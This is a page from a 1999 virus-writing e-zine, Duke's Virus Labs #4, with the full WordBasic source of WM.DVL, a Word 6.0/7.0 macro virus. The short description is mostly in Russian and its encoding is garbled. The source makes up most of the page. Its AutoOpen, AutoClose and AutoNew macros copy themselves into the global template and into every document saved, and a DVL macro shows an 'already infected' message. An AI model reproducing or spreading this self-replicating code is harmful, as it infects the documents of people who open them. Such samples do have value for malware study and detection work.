- [Duke's Virus Labs #4] - [Page 11] -

WM.DVL
(c) by Duke/SMF

     : WM.DVL
         : Duke/SMF
 ண.   : WordBasic
 ᮧ : 14.01.99

    襬 ୠ   ࠧ  뫮 Macro-ᮢ. . ⮬ 
  祭 WordBasic'.  ᪠ - 祬 ⠪ ?  
㦥  ५.
      ! Word 6.0/7.0      ᯮ.  ⮬ 
稭   ⮣  .
     稫 Macro.Word-  Word 6.0/7.0.    쭮
  ਬ⨢ - ⮨  4 ᮢ, ஢ ⥬  ᢮
⢨,  ᫨     ⥬,   ᥡ  
 ᮢ  뢮  ࠭ ᮮ饭.   ࢮ ࠧ
ᮩ.    ஢, ⠪     Intended :(

===== Cut here =====
'------- Macros : AutoOpen
Sub MAIN
' ஢塞 ⥬  ࠦ
For i = 1 To CountMacros(0, 0)
   If MacroName$(i, 0, 0) = "DVL" Then
      Ready = 1
      End If
Next i

If Ready = 1 Then
   ' ᫨ ࠦ - 뢮 誮
   Call DVL
Else
   ' ᫨  ࠦ - 㥬   ⨢ ᮢ
   On Error Resume Next
   MacroCopy FileName$() +  ":DVL", "Global:DVL", 1
   MacroCopy FileName$() +  ":AutoNew", "Global:AutoNew", 1
   MacroCopy FileName$() +  ":AutoOpen", "Global:AutoOpen", 1
   MacroCopy FileName$() +  ":AutoClose", "Global:AutoClose", 1
   Call AutoClose
End If

End Sub
'------- Macros : AutoClose
Sub MAIN
' ࠭塞   㬥
Ready = 0

For i = 1 To CountMacros(1, 0)
   If MacroName$(i, 1, 1) = "DVL" Then
   Ready = 1
   End If
Next i

If Ready = 0 Then
   On Error Resume Next
   FileSaveAs .Format = 1
   MacroCopy "Global:DVL", FileName$() + ":DVL", 1
   MacroCopy "Global:AutoNew", FileName$() + ":AutoNew", 1
   MacroCopy "Global:AutoOpen", FileName$() + ":AutoOpen", 1
   MacroCopy "Global:AutoClose", FileName$() + ":AutoClose", 1
   FileSaveAll 1, 0
End If

End Sub
'------- Macros : AutoNew
Sub MAIN

Call AutoClose

End Sub
'------- Macros : DVL
Sub MAIN
' 뢮  ࠭ 誮  ⥪⮬
MsgBox "  You system already infected !" + Chr$(13) + \
       "This macros written by Duke/SMF" + Chr$(13) + \
       "       special for DVL #4      ", \
       "WM.DVL (c) by Duke/SMF", 64

End Sub
===== Cut here =====
